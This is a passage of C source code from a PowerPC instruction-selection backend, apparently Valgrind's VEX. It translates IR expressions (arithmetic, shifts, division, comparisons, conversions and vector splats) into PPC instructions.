newVRegV(env); HReg v2 = newVRegV(env); addInstr(env, PPCInstr_AvSplat(sz, v1, PPCVI5s_Imm(-16))); addInstr(env, PPCInstr_AvSplat(sz, v2, PPCVI5s_Imm(simm6-16))); addInstr(env, (sz== 8) ? PPCInstr_AvBin8x16(Pav_SUBU, dst, v2, v1) : (sz==16) ? PPCInstr_AvBin16x8(Pav_SUBU, dst, v2, v1) : PPCInstr_AvBin32x4(Pav_SUBU, dst, v2, v1) ); return dst; } if (simm6 < -16) { HReg v1 = newVRegV(env); HReg v2 = newVRegV(env); addInstr(env, PPCInstr_AvSplat(sz, v1, PPCVI5s_Imm(-16))); addInstr(env, PPCInstr_AvSplat(sz, v2, PPCVI5s_Imm(simm6+16))); addInstr(env, (sz== 8) ? PPCInstr_AvBin8x16(Pav_ADDU, dst, v2, v1) : (sz==16) ? PPCInstr_AvBin16x8(Pav_ADDU, dst, v2, v1) : PPCInstr_AvBin32x4(Pav_ADDU, dst, v2, v1) ); return dst; } addInstr(env, PPCInstr_AvSplat(sz, dst, PPCVI5s_Imm(simm6))); return dst; } r_src = newVRegI(env); addInstr(env, PPCInstr_LI(r_src, (Long)simm32, env->mode64)); } else { r_src = ri->Pri.Reg; } { HReg r_aligned16; HReg v_src = newVRegV(env); PPCAMode *am_off12; sub_from_sp( env, 32 ); r_aligned16 = get_sp_aligned16( env ); am_off12 = PPCAMode_IR( 12, r_aligned16 ); addInstr(env, PPCInstr_Store( 4, am_off12, r_src, env->mode64 )); addInstr(env, PPCInstr_AvLdSt( True, 4, v_src, am_off12 ) ); add_to_sp( env, 32 ); addInstr(env, PPCInstr_AvSplat(sz, dst, PPCVI5s_Reg(v_src))); return dst; } } static HReg isNan ( ISelEnv* env, HReg vSrc ) { HReg zeros, msk_exp, msk_mnt, expt, mnts, vIsNan; vassert(hregClass(vSrc) == HRcVec128); zeros = mk_AvDuplicateRI(env, mkU32(0)); msk_exp = mk_AvDuplicateRI(env, mkU32(0x7F800000)); msk_mnt = mk_AvDuplicateRI(env, mkU32(0x7FFFFF)); expt = newVRegV(env); mnts = newVRegV(env); vIsNan = newVRegV(env); addInstr(env, PPCInstr_AvBinary(Pav_AND, expt, vSrc, msk_exp)); addInstr(env, PPCInstr_AvBin32x4(Pav_CMPEQU, expt, expt, msk_exp)); addInstr(env, PPCInstr_AvBinary(Pav_AND, mnts, vSrc, msk_mnt)); addInstr(env, PPCInstr_AvBin32x4(Pav_CMPGTU, mnts, mnts, zeros)); addInstr(env, PPCInstr_AvBinary(Pav_AND, vIsNan, expt, mnts)); return vIsNan; } static HReg iselWordExpr_R ( ISelEnv* env, IRExpr* e ) { HReg r = iselWordExpr_R_wrk(env, e); # if 0 vex_printf("\n"); ppIRExpr(e); vex_printf("\n"); # endif vassert(hregClass(r) == HRcGPR(env->mode64)); vassert(hregIsVirtual(r)); return r; } static HReg iselWordExpr_R_wrk ( ISelEnv* env, IRExpr* e ) { Bool mode64 = env->mode64; MatchInfo mi; DECLARE_PATTERN(p_32to1_then_1Uto8); IRType ty = typeOfIRExpr(env->type_env,e); vassert(ty == Ity_I8 || ty == Ity_I16 || ty == Ity_I32 || ((ty == Ity_I64) && mode64)); switch (e->tag) { case Iex_RdTmp: return lookupIRTemp(env, e->Iex.RdTmp.tmp); case Iex_Load: { HReg r_dst; PPCAMode* am_addr; if (e->Iex.Load.end != Iend_BE) goto irreducible; r_dst = newVRegI(env); am_addr = iselWordExpr_AMode( env, e->Iex.Load.addr, ty ); addInstr(env, PPCInstr_Load( toUChar(sizeofIRType(ty)), r_dst, am_addr, mode64 )); return r_dst; } case Iex_Binop: { PPCAluOp aluOp; PPCShftOp shftOp; switch (e->Iex.Binop.op) { case Iop_Add8: case Iop_Add16: case Iop_Add32: case Iop_Add64: aluOp = Palu_ADD; break; case Iop_Sub8: case Iop_Sub16: case Iop_Sub32: case Iop_Sub64: aluOp = Palu_SUB; break; case Iop_And8: case Iop_And16: case Iop_And32: case Iop_And64: aluOp = Palu_AND; break; case Iop_Or8: case Iop_Or16: case Iop_Or32: case Iop_Or64: aluOp = Palu_OR; break; case Iop_Xor8: case Iop_Xor16: case Iop_Xor32: case Iop_Xor64: aluOp = Palu_XOR; break; default: aluOp = Palu_INVALID; break; } if (aluOp != Palu_INVALID) { HReg r_dst = newVRegI(env); HReg r_srcL = iselWordExpr_R(env, e->Iex.Binop.arg1); PPCRH* ri_srcR = NULL; switch (aluOp) { case Palu_ADD: case Palu_SUB: ri_srcR = iselWordExpr_RH(env, True, e->Iex.Binop.arg2); break; case Palu_AND: case Palu_OR: case Palu_XOR: ri_srcR = iselWordExpr_RH(env, False, e->Iex.Binop.arg2); break; default: vpanic("iselWordExpr_R_wrk-aluOp-arg2"); } addInstr(env, PPCInstr_Alu(aluOp, r_dst, r_srcL, ri_srcR)); return r_dst; } switch (e->Iex.Binop.op) { case Iop_Shl8: case Iop_Shl16: case Iop_Shl32: case Iop_Shl64: shftOp = Pshft_SHL; break; case Iop_Shr8: case Iop_Shr16: case Iop_Shr32: case Iop_Shr64: shftOp = Pshft_SHR; break; case Iop_Sar8: case Iop_Sar16: case Iop_Sar32: case Iop_Sar64: shftOp = Pshft_SAR; break; default: shftOp = Pshft_INVALID; break; } if (shftOp != Pshft_INVALID) { HReg r_dst = newVRegI(env); HReg r_srcL = iselWordExpr_R(env, e->Iex.Binop.arg1); PPCRH* ri_srcR = NULL; switch (shftOp) { case Pshft_SHL: case Pshft_SHR: case Pshft_SAR: if (!mode64) ri_srcR = iselWordExpr_RH5u(env, e->Iex.Binop.arg2); else ri_srcR = iselWordExpr_RH6u(env, e->Iex.Binop.arg2); break; default: vpanic("iselIntExpr_R_wrk-shftOp-arg2"); } if (shftOp == Pshft_SHR || shftOp == Pshft_SAR) { if (ty == Ity_I8 || ty == Ity_I16) { PPCRH* amt = PPCRH_Imm(False, toUShort(ty == Ity_I8 ? 24 : 16)); HReg tmp = newVRegI(env); addInstr(env, PPCInstr_Shft(Pshft_SHL, True, tmp, r_srcL, amt)); addInstr(env, PPCInstr_Shft(shftOp, True, tmp, tmp, amt)); r_srcL = tmp; vassert(0); } } if (ty == Ity_I64) { vassert(mode64); addInstr(env, PPCInstr_Shft(shftOp, False, r_dst, r_srcL, ri_srcR)); } else { addInstr(env, PPCInstr_Shft(shftOp, True, r_dst, r_srcL, ri_srcR)); } return r_dst; } if (e->Iex.Binop.op == Iop_DivS32 || e->Iex.Binop.op == Iop_DivU32 || e->Iex.Binop.op == Iop_DivS32E || e->Iex.Binop.op == Iop_DivU32E) { Bool syned = toBool((e->Iex.Binop.op == Iop_DivS32) || (e->Iex.Binop.op == Iop_DivS32E)); HReg r_dst = newVRegI(env); HReg r_srcL = iselWordExpr_R(env, e->Iex.Binop.arg1); HReg r_srcR = iselWordExpr_R(env, e->Iex.Binop.arg2); addInstr( env, PPCInstr_Div( ( ( e->Iex.Binop.op == Iop_DivU32E ) || ( e->Iex.Binop.op == Iop_DivS32E ) ) ? True : False, syned, True, r_dst, r_srcL, r_srcR ) ); return r_dst; } if (e->Iex.Binop.op == Iop_DivS64 || e->Iex.Binop.op == Iop_DivU64 || e->Iex.Binop.op == Iop_DivS64E || e->Iex.Binop.op == Iop_DivU64E ) { Bool syned = toBool((e->Iex.Binop.op == Iop_DivS64) ||(e->Iex.Binop.op == Iop_DivS64E)); HReg r_dst = newVRegI(env); HReg r_srcL = iselWordExpr_R(env, e->Iex.Binop.arg1); HReg r_srcR = iselWordExpr_R(env, e->Iex.Binop.arg2); vassert(mode64); addInstr( env, PPCInstr_Div( ( ( e->Iex.Binop.op == Iop_DivS64E ) || ( e->Iex.Binop.op == Iop_DivU64E ) ) ? True : False, syned, False, r_dst, r_srcL, r_srcR ) ); return r_dst; } if (e->Iex.Binop.op == Iop_Mul32 || e->Iex.Binop.op == Iop_Mul64) { Bool syned = False; Bool sz32 = (e->Iex.Binop.op != Iop_Mul64); HReg r_dst = newVRegI(env); HReg r_srcL = iselWordExpr_R(env, e->Iex.Binop.arg1); HReg r_srcR = iselWordExpr_R(env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_MulL(syned, False, sz32, r_dst, r_srcL, r_srcR)); return r_dst; } if (mode64 && (e->Iex.Binop.op == Iop_MullU32 || e->Iex.Binop.op == Iop_MullS32)) { HReg tLo = newVRegI(env); HReg tHi = newVRegI(env); HReg r_dst = newVRegI(env); Bool syned = toBool(e->Iex.Binop.op == Iop_MullS32); HReg r_srcL = iselWordExpr_R(env, e->Iex.Binop.arg1); HReg r_srcR = iselWordExpr_R(env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_MulL(False, False, True, tLo, r_srcL, r_srcR)); addInstr(env, PPCInstr_MulL(syned, True, True, tHi, r_srcL, r_srcR)); addInstr(env, PPCInstr_Shft(Pshft_SHL, False, r_dst, tHi, PPCRH_Imm(False,32))); addInstr(env, PPCInstr_Alu(Palu_OR, r_dst, r_dst, PPCRH_Reg(tLo))); return r_dst; } if (e->Iex.Binop.op == Iop_CmpORD32S || e->Iex.Binop.op == Iop_CmpORD32U) { Bool syned = toBool(e->Iex.Binop.op == Iop_CmpORD32S); HReg dst = newVRegI(env); HReg srcL = iselWordExpr_R(env, e->Iex.Binop.arg1); PPCRH* srcR = iselWordExpr_RH(env, syned, e->Iex.Binop.arg2); addInstr(env, PPCInstr_Cmp(syned, True, 7, srcL, srcR)); addInstr(env, PPCInstr_MfCR(dst)); addInstr(env, PPCInstr_Alu(Palu_AND, dst, dst, PPCRH_Imm(False,7<<1))); return dst; } if (e->Iex.Binop.op == Iop_CmpORD64S || e->Iex.Binop.op == Iop_CmpORD64U) { Bool syned = toBool(e->Iex.Binop.op == Iop_CmpORD64S); HReg dst = newVRegI(env); HReg srcL = iselWordExpr_R(env, e->Iex.Binop.arg1); PPCRH* srcR = iselWordExpr_RH(env, syned, e->Iex.Binop.arg2); vassert(mode64); addInstr(env, PPCInstr_Cmp(syned, False, 7, srcL, srcR)); addInstr(env, PPCInstr_MfCR(dst)); addInstr(env, PPCInstr_Alu(Palu_AND, dst, dst, PPCRH_Imm(False,7<<1))); return dst; } if (e->Iex.Binop.op == Iop_Max32U) { HReg r1 = iselWordExpr_R(env, e->Iex.Binop.arg1); HReg r2 = iselWordExpr_R(env, e->Iex.Binop.arg2); HReg rdst = newVRegI(env); PPCCondCode cc = mk_PPCCondCode( Pct_TRUE, Pcf_7LT ); addInstr(env, mk_iMOVds_RR(rdst, r1)); addInstr(env, PPCInstr_Cmp(False, True, 7, rdst, PPCRH_Reg(r2))); addInstr(env, PPCInstr_CMov(cc, rdst, PPCRI_Reg(r2))); return rdst; } if (e->Iex.Binop.op == Iop_32HLto64) { HReg r_Hi = iselWordExpr_R(env, e->Iex.Binop.arg1); HReg r_Lo = iselWordExpr_R(env, e->Iex.Binop.arg2); HReg r_dst = newVRegI(env); HReg msk = newVRegI(env); vassert(mode64); addInstr(env, PPCInstr_Shft(Pshft_SHL, False, r_dst, r_Hi, PPCRH_Imm(False,32))); addInstr(env, PPCInstr_LI(msk, 0xFFFFFFFF, mode64)); addInstr(env, PPCInstr_Alu( Palu_AND, r_Lo, r_Lo, PPCRH_Reg(msk) )); addInstr(env, PPCInstr_Alu( Palu_OR, r_dst, r_dst, PPCRH_Reg(r_Lo) )); return r_dst; } if ((e->Iex.Binop.op == Iop_CmpF64) || (e->Iex.Binop.op == Iop_CmpD64) || (e->Iex.Binop.op == Iop_CmpD128)) { HReg fr_srcL; HReg fr_srcL_lo; HReg fr_srcR; HReg fr_srcR_lo; HReg r_ccPPC = newVRegI(env); HReg r_ccIR = newVRegI(env); HReg r_ccIR_b0 = newVRegI(env); HReg r_ccIR_b2 = newVRegI(env); HReg r_ccIR_b6 = newVRegI(env); if (e->Iex.Binop.op == Iop_CmpF64) { fr_srcL = iselDblExpr(env, e->Iex.Binop.arg1); fr_srcR = iselDblExpr(env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_FpCmp(r_ccPPC, fr_srcL, fr_srcR)); } else if (e->Iex.Binop.op == Iop_CmpD64) { fr_srcL = iselDfp64Expr(env, e->Iex.Binop.arg1); fr_srcR = iselDfp64Expr(env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_Dfp64Cmp(r_ccPPC, fr_srcL, fr_srcR)); } else { iselDfp128Expr(&fr_srcL, &fr_srcL_lo, env, e->Iex.Binop.arg1); iselDfp128Expr(&fr_srcR, &fr_srcR_lo, env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_Dfp128Cmp(r_ccPPC, fr_srcL, fr_srcL_lo, fr_srcR, fr_srcR_lo)); } addInstr(env, PPCInstr_Shft(Pshft_SHR, True, r_ccIR_b0, r_ccPPC, PPCRH_Imm(False,0x3))); addInstr(env, PPCInstr_Alu(Palu_OR, r_ccIR_b0, r_ccPPC, PPCRH_Reg(r_ccIR_b0))); addInstr(env, PPCInstr_Alu(Palu_AND, r_ccIR_b0, r_ccIR_b0, PPCRH_Imm(False,0x1))); addInstr(env, PPCInstr_Shft(Pshft_SHL, True, r_ccIR_b2, r_ccPPC, PPCRH_Imm(False,0x2))); addInstr(env, PPCInstr_Alu(Palu_AND, r_ccIR_b2, r_ccIR_b2, PPCRH_Imm(False,0x4))); addInstr(env, PPCInstr_Shft(Pshft_SHR, True, r_ccIR_b6, r_ccPPC, PPCRH_Imm(False,0x1))); addInstr(env, PPCInstr_Alu(Palu_OR, r_ccIR_b6, r_ccPPC, PPCRH_Reg(r_ccIR_b6))); addInstr(env, PPCInstr_Shft(Pshft_SHL, True, r_ccIR_b6, r_ccIR_b6, PPCRH_Imm(False,0x6))); addInstr(env, PPCInstr_Alu(Palu_AND, r_ccIR_b6, r_ccIR_b6, PPCRH_Imm(False,0x40))); addInstr(env, PPCInstr_Alu(Palu_OR, r_ccIR, r_ccIR_b0, PPCRH_Reg(r_ccIR_b2))); addInstr(env, PPCInstr_Alu(Palu_OR, r_ccIR, r_ccIR, PPCRH_Reg(r_ccIR_b6))); return r_ccIR; } if ( e->Iex.Binop.op == Iop_F64toI32S || e->Iex.Binop.op == Iop_F64toI32U ) { HReg r1 = StackFramePtr(env->mode64); PPCAMode* zero_r1 = PPCAMode_IR( 0, r1 ); HReg fsrc = iselDblExpr(env, e->Iex.Binop.arg2); HReg ftmp = newVRegF(env); HReg idst = newVRegI(env); set_FPU_rounding_mode( env, e->Iex.Binop.arg1 ); sub_from_sp( env, 16 ); addInstr(env, PPCInstr_FpCftI(False, True, e->Iex.Binop.op == Iop_F64toI32S ? True : False, True, ftmp, fsrc)); addInstr(env, PPCInstr_FpSTFIW(r1, ftmp)); addInstr(env, PPCInstr_Load(4, idst, zero_r1, mode64)); if (mode64) addInstr(env, PPCInstr_Unary(Pun_EXTSW, idst, idst)); add_to_sp( env, 16 ); return idst; } if (e->Iex.Binop.op == Iop_F64toI64S || e->Iex.Binop.op == Iop_F64toI64U ) { if (mode64) { HReg r1 = StackFramePtr(env->mode64); PPCAMode* zero_r1 = PPCAMode_IR( 0, r1 ); HReg fsrc = iselDblExpr(env, e->Iex.Binop.arg2); HReg idst = newVRegI(env); HReg ftmp = newVRegF(env); set_FPU_rounding_mode( env, e->Iex.Binop.arg1 ); sub_from_sp( env, 16 ); addInstr(env, PPCInstr_FpCftI(False, False, ( e->Iex.Binop.op == Iop_F64toI64S ) ? True : False, True, ftmp, fsrc)); addInstr(env, PPCInstr_FpLdSt(False, 8, ftmp, zero_r1)); addInstr(env, PPCInstr_Load(8, idst, zero_r1, True)); add_to_sp( env, 16 ); return idst; } } break; } case Iex_Unop: { IROp op_unop = e->Iex.Unop.op; DEFINE_PATTERN(p_32to1_then_1Uto8, unop(Iop_1Uto8,unop(Iop_32to1,bind(0)))); if (matchIRExpr(&mi,p_32to1_then_1Uto8,e)) { IRExpr* expr32 = mi.bindee[0]; HReg r_dst = newVRegI(env); HReg r_src = iselWordExpr_R(env, expr32); addInstr(env, PPCInstr_Alu(Palu_AND, r_dst, r_src, PPCRH_Imm(False,1))); return r_dst; } { DECLARE_PATTERN(p_LDbe16_then_16Uto32); DEFINE_PATTERN(p_LDbe16_then_16Uto32, unop(Iop_16Uto32, IRExpr_Load(Iend_BE,Ity_I16,bind(0))) ); if (matchIRExpr(&mi,p_LDbe16_then_16Uto32,e)) { HReg r_dst = newVRegI(env); PPCAMode* amode = iselWordExpr_AMode( env, mi.bindee[0], Ity_I16 ); addInstr(env, PPCInstr_Load(2,r_dst,amode, mode64)); return r_dst; } } switch (op_unop) { case Iop_8Uto16: case Iop_8Uto32: case Iop_8Uto64: case Iop_16Uto32: case Iop_16Uto64: { HReg r_dst = newVRegI(env); HReg r_src = iselWordExpr_R(env, e->Iex.Unop.arg); UShort mask = toUShort(op_unop==Iop_16Uto64 ? 0xFFFF : op_unop==Iop_16Uto32 ? 0xFFFF : 0xFF); addInstr(env, PPCInstr_Alu(Palu_AND,r_dst,r_src, PPCRH_Imm(False,mask))); return r_dst; } case Iop_32Uto64: { HReg r_dst = newVRegI(env); HReg r_src = iselWordExpr_R(env, e->Iex.Unop.arg); vassert(mode64); addInstr(env, PPCInstr_Shft(Pshft_SHL, False, r_dst, r_src, PPCRH_Imm(False,32))); addInstr(env, PPCInstr_Shft(Pshft_SHR, False, r_dst, r_dst, PPCRH_Imm(False,32))); return r_dst; } case Iop_8Sto16: case Iop_8Sto32: case Iop_16Sto32: { HReg r_dst = newVRegI(env); HReg r_src = iselWordExpr_R(env, e->Iex.Unop.arg); UShort amt = toUShort(op_unop==Iop_16Sto32 ? 16 : 24); addInstr(env, PPCInstr_Shft(Pshft_SHL, True, r_dst, r_src, PPCRH_Imm(False,amt))); addInstr(env, PPCInstr_Shft(Pshft_SAR, True, r_dst, r_dst, PPCRH_Imm(False,amt))); return r_dst; } case Iop_8Sto64: case Iop_16Sto64: { HReg r_dst = newVRegI(env); HReg r_src = iselWordExpr_R(env, e->Iex.Unop.arg); UShort amt = toUShort(op_unop==Iop_8Sto64 ? 56 : 48); vassert(mode64); addInstr(env, PPCInstr_Shft(Pshft_SHL, False, r_dst, r_src, PPCRH_Imm(False,amt))); addInstr(env, PPCInstr_Shft(Pshft_SAR, False, r_dst, r_dst, PPCRH_Imm(False,amt))); return r_dst; } case Iop_32Sto64: { HReg r_dst = newVRegI(env); HReg r_src = iselWordExpr_R(env, e->Iex.Unop.arg); vassert(mode64); addInstr(env, PPCInstr_Shft(Pshft_SAR, True, r_dst, r_src, PPCRH_Imm(False,0))); return r_dst; } case Iop_Not8: case Iop_Not16: case Iop_Not32: case Iop_Not64: { if (op_unop == Iop_Not64) vassert(mode64); HReg r_dst = newVRegI(env); HReg r_src = iselWordExpr_R(env, e->Iex.Unop.arg); addInstr(env, PPCInstr_Unary(Pun_NOT,r_dst,r_src)); return r_dst; } case Iop_64HIto32: { if (!mode64) { HReg rHi, rLo; iselInt64Expr(&rHi,&rLo, env, e->Iex.Unop.arg); return rHi; } else { HReg r_dst = newVRegI(env); HReg r_src = iselWordExpr_R(env, e->Iex.Unop.arg); addInstr(env, PPCInstr_Shft(Pshft_SHR, False, r_dst, r_src, PPCRH_Imm(False,32))); return r_dst; } } case Iop_64to32: { if (!mode64) { HReg rHi, rLo; iselInt64Expr(&rHi,&rLo, env, e->Iex.Unop.arg); return rLo; } else { return iselWordExpr_R(env, e->Iex.Unop.arg); } } case Iop_64to16: { if (mode64) { return iselWordExpr_R(env, e->Iex.Unop.arg); } break; } case Iop_16HIto8: case Iop_32HIto16: { HReg r_dst = newVRegI(env); HReg r_src = iselWordExpr_R(env, e->Iex.Unop.arg); UShort shift = toUShort(op_unop == Iop_16HIto8 ? 8 : 16); addInstr(env, PPCInstr_Shft(Pshft_SHR, True, r_dst, r_src, PPCRH_Imm(False,shift))); return r_dst; } case Iop_128HIto64: if (mode64) { HReg rHi, rLo; iselInt128Expr(&rHi,&rLo, env, e->Iex.Unop.arg); return rHi; } break; case Iop_128to64: if (mode64) { HReg rHi, rLo; iselInt128Expr(&rHi,&rLo, env, e->Iex.Unop.arg); return rLo; } break; case Iop_1Uto64: case Iop_1Uto32: case Iop_1Uto8: if ((op_unop != Iop_1Uto64) || mode64) { HReg r_dst = newVRegI(env); PPCCondCode cond = iselCondCode(env, e->Iex.Unop.arg); addInstr(env, PPCInstr_Set(cond,r_dst)); return r_dst; } break; case Iop_1Sto8: case Iop_1Sto16: case Iop_1Sto32: { HReg r_dst = newVRegI(env); PPCCondCode cond = iselCondCode(env, e->Iex.Unop.arg); addInstr(env, PPCInstr_Set(cond,r_dst)); addInstr(env, PPCInstr_Shft(Pshft_SHL, True, r_dst, r_dst, PPCRH_Imm(False,31))); addInstr(env, PPCInstr_Shft(Pshft_SAR, True, r_dst, r_dst, PPCRH_Imm(False,31))); return r_dst; } case Iop_1Sto64: if (mode64) { HReg r_dst = newVRegI(env); PPCCondCode cond = iselCondCode(env, e->Iex.Unop.arg); addInstr(env, PPCInstr_Set(cond,r_dst)); addInstr(env, PPCInstr_Shft(Pshft_SHL, False, r_dst, r_dst, PPCRH_Imm(False,63))); addInstr(env, PPCInstr_Shft(Pshft_SAR, False, r_dst, r_dst, PPCRH_Imm(False,63))); return r_dst; } break; case Iop_Clz32: case Iop_Clz64: { HReg r_src, r_dst; PPCUnaryOp op_clz = (op_unop == Iop_Clz32) ? Pun_CLZ32 : Pun_CLZ64; if (op_unop == Iop_Clz64 && !mode64) goto irreducible; r_dst = newVRegI(env); r_src = iselWordExpr_R(env, e->Iex.Unop.arg); addInstr(env, PPCInstr_Unary(op_clz,r_dst,r_src)); return r_dst; } case Iop_Left8: case Iop_Left32: case Iop_Left64: { HReg r_src, r_dst; if (op_unop == Iop_Left64 && !mode64) goto irreducible; r_dst = newVRegI(env); r_src = iselWordExpr_R(env, e->Iex.Unop.arg); addInstr(env, PPCInstr_Unary(Pun_NEG,r_dst,r_src)); addInstr(env, PPCInstr_Alu(Palu_OR, r_dst, r_dst, PPCRH_Reg(r_src))); return r_dst; } case Iop_CmpwNEZ32: { HReg r_dst = newVRegI(env); HReg r_src = iselWordExpr_R(env, e->Iex.Unop.arg); addInstr(env, PPCInstr_Unary(Pun_NEG,r_dst,r_src)); addInstr(env, PPCInstr_Alu(Palu_OR, r_dst, r_dst, PPCRH_Reg(r_src))); addInstr(env, PPCInstr_Shft(Pshft_SAR, True, r_dst, r_dst, PPCRH_Imm(False, 31))); return r_dst; } case Iop_CmpwNEZ64: { HReg r_dst = newVRegI(env); HReg r_src = iselWordExpr_R(env, e->Iex.Unop.arg); if (!mode64) goto irreducible; addInstr(env, PPCInstr_Unary(Pun_NEG,r_dst,r_src)); addInstr(env, PPCInstr_Alu(Palu_OR, r_dst, r_dst, PPCRH_Reg(r_src))); addInstr(env, PPCInstr_Shft(Pshft_SAR, False, r_dst, r_dst, PPCRH_Imm(False, 63))); return r_dst; } case Iop_V128to32: { HReg r_aligned16; HReg dst = newVRegI(env); HReg vec = iselVecExpr(env, e->Iex.Unop.arg); PPCAMode *am_off0, *am_off12; sub_from_sp( env, 32 ); r_aligned16 = get_sp_aligned16( env ); am_off0 = PPCAMode_IR( 0, r_aligned16 ); am_off12 = PPCAMode_IR( 12,r_aligned16 ); addInstr(env, PPCInstr_AvLdSt( False, 16, vec, am_off0 )); addInstr(env, PPCInstr_Load( 4, dst, am_off12, mode64 )); add_to_sp( env, 32 ); return dst; } case Iop_V128to64: case Iop_V128HIto64: if (mode64) { HReg r_aligned16; HReg dst = newVRegI(env); HReg vec = iselVecExpr(env, e->Iex.Unop.arg); PPCAMode *am_off0, *am_off8; sub_from_sp( env, 32 ); r_aligned16 = get_sp_aligned16( env ); am_off0 = PPCAMode_IR( 0, r_aligned16 ); am_off8 = PPCAMode_IR( 8 ,r_aligned16 ); addInstr(env, PPCInstr_AvLdSt( False, 16, vec, am_off0 )); addInstr(env, PPCInstr_Load( 8, dst, op_unop == Iop_V128HIto64 ? am_off0 : am_off8, mode64 )); add_to_sp( env, 32 ); return dst; } break; case Iop_16to8: case Iop_32to8: case Iop_32to16: case Iop_64to8: return iselWordExpr_R(env, e->Iex.Unop.arg); case Iop_ReinterpF64asI64: if (mode64) { PPCAMode *am_addr; HReg fr_src = iselDblExpr(env, e->Iex.Unop.arg); HReg r_dst = newVRegI(env); sub_from_sp( env, 16 ); am_addr = PPCAMode_IR( 0, StackFramePtr(mode64) ); addInstr(env, PPCInstr_FpLdSt( False, 8, fr_src, am_addr )); addInstr(env, PPCInstr_Load( 8, r_dst, am_addr, mode64 )); add_to_sp( env, 16 ); return r_dst; } break; case Iop_ReinterpF32asI32: { PPCAMode *am_addr; HReg fr_src = iselFltExpr(env, e->Iex.Unop.arg); HReg r_dst = newVRegI(env); sub_from_sp( env, 16 ); am_addr = PPCAMode_IR( 0, StackFramePtr(mode64) ); addInstr(env, PPCInstr_FpLdSt( False, 4, fr_src, am_addr )); addInstr(env, PPCInstr_Load( 4, r_dst, am_addr, mode64 )); add_to_sp( env, 16 ); return r_dst; } break; case Iop_ReinterpD64asI64: if (mode64) { PPCAMode *am_addr; HReg fr_src = iselDfp64Expr(env, e->Iex.Unop.arg); HReg r_dst = newVRegI(env); sub_from_sp( env, 16 ); am_addr = PPCAMode_IR( 0, StackFramePtr(mode64) ); addInstr(env, PPCInstr_FpLdSt( False, 8, fr_src, am_addr )); addInstr(env, PPCInstr_Load( 8, r_dst, am_addr, mode64 )); add_to_sp( env, 16 ); return r_dst; } break; case Iop_BCDtoDPB: { PPCCondCode cc; UInt argiregs; HReg argregs[1]; HReg r_dst = newVRegI(env); Int argreg; HWord* fdescr; argiregs = 0; argreg = 0; argregs[0] = hregPPC_GPR3(mode64); argiregs |= (1 << (argreg+3)); addInstr(env, mk_iMOVds_RR( argregs[argreg++], iselWordExpr_R(env, e->Iex.Unop.arg) ) ); cc = mk_PPCCondCode( Pct_ALWAYS, Pcf_NONE ); fdescr = (HWord*)h_BCDtoDPB; addInstr(env, PPCInstr_Call( cc, (Addr64)(fdescr[0]), argiregs ) ); addInstr(env, mk_iMOVds_RR(r_dst, argregs[0])); return r_dst; } case Iop_DPBtoBCD: { PPCCondCode cc; UInt argiregs; HReg argregs[1]; HReg r_dst = newVRegI(env); Int argreg; HWord* fdescr; argiregs = 0; argreg = 0; argregs[0] = hregPPC_GPR3(mode64); argiregs |= (1 << (argreg+3)); addInstr(env, mk_iMOVds_RR( argregs[argreg++], iselWordExpr_R(env, e->Iex.Unop.arg) ) ); cc = mk_PPCCondCode( Pct_ALWAYS, Pcf_NONE ); fdescr = (HWord*)h_DPBtoBCD; addInstr(env, PPCInstr_Call( cc, (Addr64)(fdescr[0]), argiregs ) ); addInstr(env, mk_iMOVds_RR(r_dst, argregs[0])); return r_dst; } default: break; } break; } case Iex_Get: { if (ty == Ity_I8 || ty == Ity_I16 || ty == Ity_I32 || ((ty == Ity_I64) && mode64)) { HReg r_dst = newVRegI(env); PPCAMode* am_addr = PPCAMode_IR( e->Iex.Get.offset, GuestStatePtr(mode64) ); addInstr(env, PPCInstr_Load( toUChar(sizeofIRType(ty)), r_dst, am_addr, mode64 )); return r_dst; } break; } case Iex_GetI: { PPCAMode* src_am = genGuestArrayOffset( env, e->Iex.GetI.descr, e->Iex.GetI.ix, e->Iex.GetI.bias ); HReg r_dst = newVRegI(env); if (mode64 && ty == Ity_I64) { addInstr(env, PPCInstr_Load( toUChar(8), r_dst, src_am, mode64 )); return r_dst; } if ((!mode64) && ty == Ity_I32) { addInstr(env, PPCInstr_Load( toUChar(4), r_dst, src_am, mode64 )); return r_dst; } break; } case Iex_CCall: { HReg r_dst = newVRegI(env); vassert(ty == Ity_I32); if (e->Iex.CCall.retty != Ity_I32) goto irreducible; doHelperCall( env, False, NULL, e->Iex.CCall.cee, e->Iex.CCall.args ); addInstr(env, mk_iMOVds_RR(r_dst, hregPPC_GPR3(mode64))); return r_dst; } case Iex_Const: { Long l; HReg r_dst = newVRegI(env); IRConst* con = e->Iex.Const.con; switch (con->tag) { case Ico_U64: if (!mode64) goto irreducible; l = (Long) con->Ico.U64; break; case Ico_U32: l = (Long)(Int) con->Ico.U32; break; case Ico_U16: l = (Long)(Int)(Short)con->Ico.U16; break; case Ico_U8: l = (Long)(Int)(Char )con->Ico.U8; break; default: vpanic("iselIntExpr_R.const(ppc)"); } addInstr(env, PPCInstr_LI(r_dst, (ULong)l, mode64)); return r_dst; } case Iex_Mux0X: { if ((ty == Ity_I8 || ty == Ity_I16 || ty == Ity_I32 || ((ty == Ity_I64) && mode64)) && typeOfIRExpr(env->type_env,e->Iex.Mux0X.cond) == Ity_I8) { PPCCondCode cc = mk_PPCCondCode( Pct_TRUE, Pcf_7EQ ); HReg r_cond = iselWordExpr_R(env, e->Iex.Mux0X.cond); HReg rX = iselWordExpr_R(env, e->Iex.Mux0X.exprX); PPCRI* r0 = iselWordExpr_RI(env, e->Iex.Mux0X.expr0); HReg r_dst = newVRegI(env); HReg r_tmp = newVRegI(env); addInstr(env, mk_iMOVds_RR(r_dst,rX)); addInstr(env, PPCInstr_Alu(Palu_AND, r_tmp, r_cond, PPCRH_Imm(False,0xFF))); addInstr(env, PPCInstr_Cmp(False, True, 7, r_tmp, PPCRH_Imm(False,0))); addInstr(env, PPCInstr_CMov(cc,r_dst,r0)); return r_dst; } break; } default: break; } irreducible: ppIRExpr(e); vpanic("iselIntExpr_R(ppc): cannot reduce tree"); } static Bool uInt_fits_in_16_bits ( UInt u ) { Int i = u & 0xFFFF; i <<= 16; i >>= 16; return toBool(u == (UInt)i); } static Bool uLong_fits_in_16_bits ( ULong u ) { Long i = u & 0xFFFFULL; i <<= 48; i >>= 48; return toBool(u == (ULong)i); } static Bool uLong_is_4_aligned ( ULong u ) { return toBool((u & 3ULL) == 0); } static Bool 